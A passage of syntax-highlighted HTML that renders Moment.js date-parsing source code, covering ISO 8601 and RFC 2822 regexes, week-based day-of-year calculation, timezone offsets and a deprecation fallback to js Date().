function_">getParsingFlags</span>(config).<span class="property">_overflowDayOfYear</span> = <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            date = <span class="title function_">createUTCDate</span>(yearToUse, <span class="number">0</span>, config.<span class="property">_dayOfYear</span>);</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">MONTH</span>] = date.<span class="title function_">getUTCMonth</span>();</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">DATE</span>] = date.<span class="title function_">getUTCDate</span>();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Default to current date.</span></span><br><span class="line">        <span class="comment">// * if no year, month, day of month are given, default to today</span></span><br><span class="line">        <span class="comment">// * if day of month is given, default month and year</span></span><br><span class="line">        <span class="comment">// * if month is given, default only year</span></span><br><span class="line">        <span class="comment">// * if year is given, don&#x27;t default anything</span></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; <span class="number">3</span> &amp;&amp; config.<span class="property">_a</span>[i] == <span class="literal">null</span>; ++i) &#123;</span><br><span class="line">            config.<span class="property">_a</span>[i] = input[i] = currentDate[i];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Zero out whatever was not defaulted, including time</span></span><br><span class="line">        <span class="keyword">for</span> (; i &lt; <span class="number">7</span>; i++) &#123;</span><br><span class="line">            config.<span class="property">_a</span>[i] = input[i] = (config.<span class="property">_a</span>[i] == <span class="literal">null</span>) ? (i === <span class="number">2</span> ? <span class="number">1</span> : <span class="number">0</span>) : config.<span class="property">_a</span>[i];</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Check for 24:00:00.000</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>] === <span class="number">24</span> &amp;&amp;</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">MINUTE</span>] === <span class="number">0</span> &amp;&amp;</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">SECOND</span>] === <span class="number">0</span> &amp;&amp;</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">MILLISECOND</span>] === <span class="number">0</span>) &#123;</span><br><span class="line">            config.<span class="property">_nextDay</span> = <span class="literal">true</span>;</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>] = <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        config.<span class="property">_d</span> = (config.<span class="property">_useUTC</span> ? createUTCDate : createDate).<span class="title function_">apply</span>(<span class="literal">null</span>, input);</span><br><span class="line">        expectedWeekday = config.<span class="property">_useUTC</span> ? config.<span class="property">_d</span>.<span class="title function_">getUTCDay</span>() : config.<span class="property">_d</span>.<span class="title function_">getDay</span>();</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Apply timezone offset from input. The actual utcOffset can be changed</span></span><br><span class="line">        <span class="comment">// with parseZone.</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_tzm</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            config.<span class="property">_d</span>.<span class="title function_">setUTCMinutes</span>(config.<span class="property">_d</span>.<span class="title function_">getUTCMinutes</span>() - config.<span class="property">_tzm</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_nextDay</span>) &#123;</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">HOUR</span>] = <span class="number">24</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// check for mismatching day of week</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_w</span> &amp;&amp; <span class="keyword">typeof</span> config.<span class="property">_w</span>.<span class="property">d</span> !== <span class="string">&#x27;undefined&#x27;</span> &amp;&amp; config.<span class="property">_w</span>.<span class="property">d</span> !== expectedWeekday) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">weekdayMismatch</span> = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">dayOfYearFromWeekInfo</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> w, weekYear, week, weekday, dow, doy, temp, weekdayOverflow;</span><br><span class="line"></span><br><span class="line">        w = config.<span class="property">_w</span>;</span><br><span class="line">        <span class="keyword">if</span> (w.<span class="property">GG</span> != <span class="literal">null</span> || w.<span class="property">W</span> != <span class="literal">null</span> || w.<span class="property">E</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">            dow = <span class="number">1</span>;</span><br><span class="line">            doy = <span class="number">4</span>;</span><br><span class="line"></span><br><span class="line">            <span class="comment">// <span class="doctag">TODO:</span> We need to take the current isoWeekYear, but that depends on</span></span><br><span class="line">            <span class="comment">// how we interpret now (local, utc, fixed offset). So create</span></span><br><span class="line">            <span class="comment">// a now version of current config (take local/utc/offset flags, and</span></span><br><span class="line">            <span class="comment">// create now).</span></span><br><span class="line">            weekYear = <span class="title function_">defaults</span>(w.<span class="property">GG</span>, config.<span class="property">_a</span>[<span class="variable constant_">YEAR</span>], <span class="title function_">weekOfYear</span>(<span class="title function_">createLocal</span>(), <span class="number">1</span>, <span class="number">4</span>).<span class="property">year</span>);</span><br><span class="line">            week = <span class="title function_">defaults</span>(w.<span class="property">W</span>, <span class="number">1</span>);</span><br><span class="line">            weekday = <span class="title function_">defaults</span>(w.<span class="property">E</span>, <span class="number">1</span>);</span><br><span class="line">            <span class="keyword">if</span> (weekday &lt; <span class="number">1</span> || weekday &gt; <span class="number">7</span>) &#123;</span><br><span class="line">                weekdayOverflow = <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            dow = config.<span class="property">_locale</span>.<span class="property">_week</span>.<span class="property">dow</span>;</span><br><span class="line">            doy = config.<span class="property">_locale</span>.<span class="property">_week</span>.<span class="property">doy</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">var</span> curWeek = <span class="title function_">weekOfYear</span>(<span class="title function_">createLocal</span>(), dow, doy);</span><br><span class="line"></span><br><span class="line">            weekYear = <span class="title function_">defaults</span>(w.<span class="property">gg</span>, config.<span class="property">_a</span>[<span class="variable constant_">YEAR</span>], curWeek.<span class="property">year</span>);</span><br><span class="line"></span><br><span class="line">            <span class="comment">// Default to current week.</span></span><br><span class="line">            week = <span class="title function_">defaults</span>(w.<span class="property">w</span>, curWeek.<span class="property">week</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">if</span> (w.<span class="property">d</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="comment">// weekday -- low day numbers are considered next week</span></span><br><span class="line">                weekday = w.<span class="property">d</span>;</span><br><span class="line">                <span class="keyword">if</span> (weekday &lt; <span class="number">0</span> || weekday &gt; <span class="number">6</span>) &#123;</span><br><span class="line">                    weekdayOverflow = <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> <span class="keyword">if</span> (w.<span class="property">e</span> != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="comment">// local weekday -- counting starts from beginning of week</span></span><br><span class="line">                weekday = w.<span class="property">e</span> + dow;</span><br><span class="line">                <span class="keyword">if</span> (w.<span class="property">e</span> &lt; <span class="number">0</span> || w.<span class="property">e</span> &gt; <span class="number">6</span>) &#123;</span><br><span class="line">                    weekdayOverflow = <span class="literal">true</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                <span class="comment">// default to beginning of week</span></span><br><span class="line">                weekday = dow;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (week &lt; <span class="number">1</span> || week &gt; <span class="title function_">weeksInYear</span>(weekYear, dow, doy)) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">_overflowWeeks</span> = <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (weekdayOverflow != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">_overflowWeekday</span> = <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            temp = <span class="title function_">dayOfYearFromWeeks</span>(weekYear, week, weekday, dow, doy);</span><br><span class="line">            config.<span class="property">_a</span>[<span class="variable constant_">YEAR</span>] = temp.<span class="property">year</span>;</span><br><span class="line">            config.<span class="property">_dayOfYear</span> = temp.<span class="property">dayOfYear</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// iso 8601 regex</span></span><br><span class="line">    <span class="comment">// 0000-00-00 0000-W00 or 0000-W00-0 + T + 00 or 00:00 or 00:00:00 or 00:00:00.000 + +00:00 or +0000 or +00)</span></span><br><span class="line">    <span class="keyword">var</span> extendedIsoRegex =</span><br><span class="line">        <span class="regexp">/^\s*((?:[+-]\d&#123;6&#125;|\d&#123;4&#125;)-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/</span>;</span><br><span class="line">    <span class="keyword">var</span> basicIsoRegex =</span><br><span class="line">        <span class="regexp">/^\s*((?:[+-]\d&#123;6&#125;|\d&#123;4&#125;)(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([\+\-]\d\d(?::?\d\d)?|\s*Z)?)?$/</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> tzRegex = <span class="regexp">/Z|[+-]\d\d(?::?\d\d)?/</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> isoDates = [</span><br><span class="line">        [<span class="string">&#x27;YYYYYY-MM-DD&#x27;</span>, <span class="regexp">/[+-]\d&#123;6&#125;-\d\d-\d\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;YYYY-MM-DD&#x27;</span>, <span class="regexp">/\d&#123;4&#125;-\d\d-\d\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;GGGG-[W]WW-E&#x27;</span>, <span class="regexp">/\d&#123;4&#125;-W\d\d-\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;GGGG-[W]WW&#x27;</span>, <span class="regexp">/\d&#123;4&#125;-W\d\d/</span>, <span class="literal">false</span>],</span><br><span class="line">        [<span class="string">&#x27;YYYY-DDD&#x27;</span>, <span class="regexp">/\d&#123;4&#125;-\d&#123;3&#125;/</span>],</span><br><span class="line">        [<span class="string">&#x27;YYYY-MM&#x27;</span>, <span class="regexp">/\d&#123;4&#125;-\d\d/</span>, <span class="literal">false</span>],</span><br><span class="line">        [<span class="string">&#x27;YYYYYYMMDD&#x27;</span>, <span class="regexp">/[+-]\d&#123;10&#125;/</span>],</span><br><span class="line">        [<span class="string">&#x27;YYYYMMDD&#x27;</span>, <span class="regexp">/\d&#123;8&#125;/</span>],</span><br><span class="line">        <span class="comment">// YYYYMM is NOT allowed by the standard</span></span><br><span class="line">        [<span class="string">&#x27;GGGG[W]WWE&#x27;</span>, <span class="regexp">/\d&#123;4&#125;W\d&#123;3&#125;/</span>],</span><br><span class="line">        [<span class="string">&#x27;GGGG[W]WW&#x27;</span>, <span class="regexp">/\d&#123;4&#125;W\d&#123;2&#125;/</span>, <span class="literal">false</span>],</span><br><span class="line">        [<span class="string">&#x27;YYYYDDD&#x27;</span>, <span class="regexp">/\d&#123;7&#125;/</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// iso time formats and regexes</span></span><br><span class="line">    <span class="keyword">var</span> isoTimes = [</span><br><span class="line">        [<span class="string">&#x27;HH:mm:ss.SSSS&#x27;</span>, <span class="regexp">/\d\d:\d\d:\d\d\.\d+/</span>],</span><br><span class="line">        [<span class="string">&#x27;HH:mm:ss,SSSS&#x27;</span>, <span class="regexp">/\d\d:\d\d:\d\d,\d+/</span>],</span><br><span class="line">        [<span class="string">&#x27;HH:mm:ss&#x27;</span>, <span class="regexp">/\d\d:\d\d:\d\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;HH:mm&#x27;</span>, <span class="regexp">/\d\d:\d\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;HHmmss.SSSS&#x27;</span>, <span class="regexp">/\d\d\d\d\d\d\.\d+/</span>],</span><br><span class="line">        [<span class="string">&#x27;HHmmss,SSSS&#x27;</span>, <span class="regexp">/\d\d\d\d\d\d,\d+/</span>],</span><br><span class="line">        [<span class="string">&#x27;HHmmss&#x27;</span>, <span class="regexp">/\d\d\d\d\d\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;HHmm&#x27;</span>, <span class="regexp">/\d\d\d\d/</span>],</span><br><span class="line">        [<span class="string">&#x27;HH&#x27;</span>, <span class="regexp">/\d\d/</span>]</span><br><span class="line">    ];</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> aspNetJsonRegex = <span class="regexp">/^\/?Date\((\-?\d+)/i</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// date from iso format</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromISO</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, l,</span><br><span class="line">            string = config.<span class="property">_i</span>,</span><br><span class="line">            match = extendedIsoRegex.<span class="title function_">exec</span>(string) || basicIsoRegex.<span class="title function_">exec</span>(string),</span><br><span class="line">            allowTime, dateFormat, timeFormat, tzFormat;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (match) &#123;</span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">iso</span> = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>, l = isoDates.<span class="property">length</span>; i &lt; l; i++) &#123;</span><br><span class="line">                <span class="keyword">if</span> (isoDates[i][<span class="number">1</span>].<span class="title function_">exec</span>(match[<span class="number">1</span>])) &#123;</span><br><span class="line">                    dateFormat = isoDates[i][<span class="number">0</span>];</span><br><span class="line">                    allowTime = isoDates[i][<span class="number">2</span>] !== <span class="literal">false</span>;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (dateFormat == <span class="literal">null</span>) &#123;</span><br><span class="line">                config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (match[<span class="number">3</span>]) &#123;</span><br><span class="line">                <span class="keyword">for</span> (i = <span class="number">0</span>, l = isoTimes.<span class="property">length</span>; i &lt; l; i++) &#123;</span><br><span class="line">                    <span class="keyword">if</span> (isoTimes[i][<span class="number">1</span>].<span class="title function_">exec</span>(match[<span class="number">3</span>])) &#123;</span><br><span class="line">                        <span class="comment">// match[2] should be &#x27;T&#x27; or space</span></span><br><span class="line">                        timeFormat = (match[<span class="number">2</span>] || <span class="string">&#x27; &#x27;</span>) + isoTimes[i][<span class="number">0</span>];</span><br><span class="line">                        <span class="keyword">break</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">if</span> (timeFormat == <span class="literal">null</span>) &#123;</span><br><span class="line">                    config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (!allowTime &amp;&amp; timeFormat != <span class="literal">null</span>) &#123;</span><br><span class="line">                config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (match[<span class="number">4</span>]) &#123;</span><br><span class="line">                <span class="keyword">if</span> (tzRegex.<span class="title function_">exec</span>(match[<span class="number">4</span>])) &#123;</span><br><span class="line">                    tzFormat = <span class="string">&#x27;Z&#x27;</span>;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            config.<span class="property">_f</span> = dateFormat + (timeFormat || <span class="string">&#x27;&#x27;</span>) + (tzFormat || <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">            <span class="title function_">configFromStringAndFormat</span>(config);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// RFC 2822 regex: For details see https://tools.ietf.org/html/rfc2822#section-3.3</span></span><br><span class="line">    <span class="keyword">var</span> rfc2822 =</span><br><span class="line">        <span class="regexp">/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d&#123;1,2&#125;)\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d&#123;2,4&#125;)\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d&#123;4&#125;))$/</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">extractFromRFC2822Strings</span>(<span class="params">yearStr, monthStr, dayStr, hourStr, minuteStr, secondStr</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> result = [</span><br><span class="line">            <span class="title function_">untruncateYear</span>(yearStr),</span><br><span class="line">            defaultLocaleMonthsShort.<span class="title function_">indexOf</span>(monthStr),</span><br><span class="line">            <span class="built_in">parseInt</span>(dayStr, <span class="number">10</span>),</span><br><span class="line">            <span class="built_in">parseInt</span>(hourStr, <span class="number">10</span>),</span><br><span class="line">            <span class="built_in">parseInt</span>(minuteStr, <span class="number">10</span>)</span><br><span class="line">        ];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (secondStr) &#123;</span><br><span class="line">            result.<span class="title function_">push</span>(<span class="built_in">parseInt</span>(secondStr, <span class="number">10</span>));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">untruncateYear</span>(<span class="params">yearStr</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> year = <span class="built_in">parseInt</span>(yearStr, <span class="number">10</span>);</span><br><span class="line">        <span class="keyword">if</span> (year &lt;= <span class="number">49</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">2000</span> + year;</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (year &lt;= <span class="number">999</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">1900</span> + year;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> year;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">preprocessRFC2822</span>(<span class="params">s</span>) &#123;</span><br><span class="line">        <span class="comment">// Remove comments and folding whitespace and replace multiple-spaces with a single space</span></span><br><span class="line">        <span class="keyword">return</span> s.<span class="title function_">replace</span>(<span class="regexp">/\([^)]*\)|[\n\t]/g</span>, <span class="string">&#x27; &#x27;</span>).<span class="title function_">replace</span>(<span class="regexp">/(\s\s+)/g</span>, <span class="string">&#x27; &#x27;</span>).<span class="title function_">replace</span>(<span class="regexp">/^\s\s*/</span>, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(</span><br><span class="line">            <span class="regexp">/\s\s*$/</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">checkWeekday</span>(<span class="params">weekdayStr, parsedInput, config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (weekdayStr) &#123;</span><br><span class="line">            <span class="comment">// <span class="doctag">TODO:</span> Replace the vanilla JS Date object with an indepentent day-of-week check.</span></span><br><span class="line">            <span class="keyword">var</span> weekdayProvided = defaultLocaleWeekdaysShort.<span class="title function_">indexOf</span>(weekdayStr),</span><br><span class="line">                weekdayActual = <span class="keyword">new</span> <span class="title class_">Date</span>(parsedInput[<span class="number">0</span>], parsedInput[<span class="number">1</span>], parsedInput[<span class="number">2</span>]).<span class="title function_">getDay</span>();</span><br><span class="line">            <span class="keyword">if</span> (weekdayProvided !== weekdayActual) &#123;</span><br><span class="line">                <span class="title function_">getParsingFlags</span>(config).<span class="property">weekdayMismatch</span> = <span class="literal">true</span>;</span><br><span class="line">                config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> obsOffsets = &#123;</span><br><span class="line">        <span class="attr">UT</span>: <span class="number">0</span>,</span><br><span class="line">        <span class="attr">GMT</span>: <span class="number">0</span>,</span><br><span class="line">        <span class="attr">EDT</span>: -<span class="number">4</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">EST</span>: -<span class="number">5</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">CDT</span>: -<span class="number">5</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">CST</span>: -<span class="number">6</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">MDT</span>: -<span class="number">6</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">MST</span>: -<span class="number">7</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">PDT</span>: -<span class="number">7</span> * <span class="number">60</span>,</span><br><span class="line">        <span class="attr">PST</span>: -<span class="number">8</span> * <span class="number">60</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">calculateOffset</span>(<span class="params">obsOffset, militaryOffset, numOffset</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (obsOffset) &#123;</span><br><span class="line">            <span class="keyword">return</span> obsOffsets[obsOffset];</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (militaryOffset) &#123;</span><br><span class="line">            <span class="comment">// the only allowed military tz is Z</span></span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">var</span> hm = <span class="built_in">parseInt</span>(numOffset, <span class="number">10</span>);</span><br><span class="line">            <span class="keyword">var</span> m = hm % <span class="number">100</span>,</span><br><span class="line">                h = (hm - m) / <span class="number">100</span>;</span><br><span class="line">            <span class="keyword">return</span> h * <span class="number">60</span> + m;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// date and time from ref 2822 format</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromRFC2822</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> match = rfc2822.<span class="title function_">exec</span>(<span class="title function_">preprocessRFC2822</span>(config.<span class="property">_i</span>));</span><br><span class="line">        <span class="keyword">if</span> (match) &#123;</span><br><span class="line">            <span class="keyword">var</span> parsedArray = <span class="title function_">extractFromRFC2822Strings</span>(match[<span class="number">4</span>], match[<span class="number">3</span>], match[<span class="number">2</span>], match[<span class="number">5</span>], match[<span class="number">6</span>],</span><br><span class="line">                match[<span class="number">7</span>]);</span><br><span class="line">            <span class="keyword">if</span> (!<span class="title function_">checkWeekday</span>(match[<span class="number">1</span>], parsedArray, config)) &#123;</span><br><span class="line">                <span class="keyword">return</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            config.<span class="property">_a</span> = parsedArray;</span><br><span class="line">            config.<span class="property">_tzm</span> = <span class="title function_">calculateOffset</span>(match[<span class="number">8</span>], match[<span class="number">9</span>], match[<span class="number">10</span>]);</span><br><span class="line"></span><br><span class="line">            config.<span class="property">_d</span> = createUTCDate.<span class="title function_">apply</span>(<span class="literal">null</span>, config.<span class="property">_a</span>);</span><br><span class="line">            config.<span class="property">_d</span>.<span class="title function_">setUTCMinutes</span>(config.<span class="property">_d</span>.<span class="title function_">getUTCMinutes</span>() - config.<span class="property">_tzm</span>);</span><br><span class="line"></span><br><span class="line">            <span class="title function_">getParsingFlags</span>(config).<span class="property">rfc2822</span> = <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            config.<span class="property">_isValid</span> = <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// date from iso format or fallback</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromString</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> matched = aspNetJsonRegex.<span class="title function_">exec</span>(config.<span class="property">_i</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (matched !== <span class="literal">null</span>) &#123;</span><br><span class="line">            config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(+matched[<span class="number">1</span>]);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="title function_">configFromISO</span>(config);</span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_isValid</span> === <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="keyword">delete</span> config.<span class="property">_isValid</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="title function_">configFromRFC2822</span>(config);</span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_isValid</span> === <span class="literal">false</span>) &#123;</span><br><span class="line">            <span class="keyword">delete</span> config.<span class="property">_isValid</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// Final attempt, use Input Fallback</span></span><br><span class="line">        hooks.<span class="title function_">createFromInputFallback</span>(config);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    hooks.<span class="property">createFromInputFallback</span> = <span class="title function_">deprecate</span>(</span><br><span class="line">        <span class="string">&#x27;value provided is not in a recognized RFC2822 or ISO format. moment construction falls back to js Date(), &#x27;</span> +</span><br><span class="line">        <span class="string">&#x27;which is not reliable across all browsers and versions. Non RFC2822/ISO date formats are &#x27;</span> +</span><br><span class="line">        <span class="string">&#x27;discouraged and will be removed in an upcoming major release. Please refer to &#x27;</span> +</span><br><span class="line">        <span class="string">&#x27;http://momentjs.com/guides/#/warnings/js-date/ for more info.&#x27;</span>,</span><br><span class="line">        <span class="keyword">function</span> (<span class="params">config</span>) &#123;</span><br><span class="line">            config.<span class="property">_d</span> = <span class="keyword">new</span> <span class="title class_">Date</span>(config.<span class="property">_i</span> + (config.<span class="property">_useUTC</span> ? <span class="string">&#x27; UTC&#x27;</span> : <span class="string">&#x27;&#x27;</span>));</span><br><span class="line">        &#125;</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// constant that refers to the ISO standard</span></span><br><span class="line">    hooks.<span class="property">ISO_8601</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// constant that refers to the RFC 2822 form</span></span><br><span class="line">    hooks.<span class="property">RFC_2822</span> = <span class="keyword">function</span> (<span class="params"></span>) &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// date from string and format string</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">configFromStringAndFormat</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="comment">// <span class="doctag">TODO:</span> Move this to another part of the creation flow to prevent circular deps</span></span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_f</span> === hooks.<span class="property">ISO_8601</span>) &#123;</span><br><span class="line">            <span class="title function_">configFromISO</span>(config);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (config.<span class="property">_f</span> === hooks.<span class="property">RFC_2822</span>) &#123;</span><br><span class="line">            <span class="title function_">configFromRFC2822</span>(config);</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        config.<span class="property">_a</span> = [];</span><br><span class="line">        <span class="title function_">getParsingFlags</span>(config).<span class="property">empty</span> = <span class="literal">true</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// This array is used to make a Date, either with `new Date` or `Date.UTC`</span></span><br><span class="line">        <span class="keyword">var</span> string = <span class="string">&#x27;&#x27;</span> + config.<span class="property">_i</span>,</span><br><span class="line">            i, parsedInput, tokens, token, skipped,</span><br><span 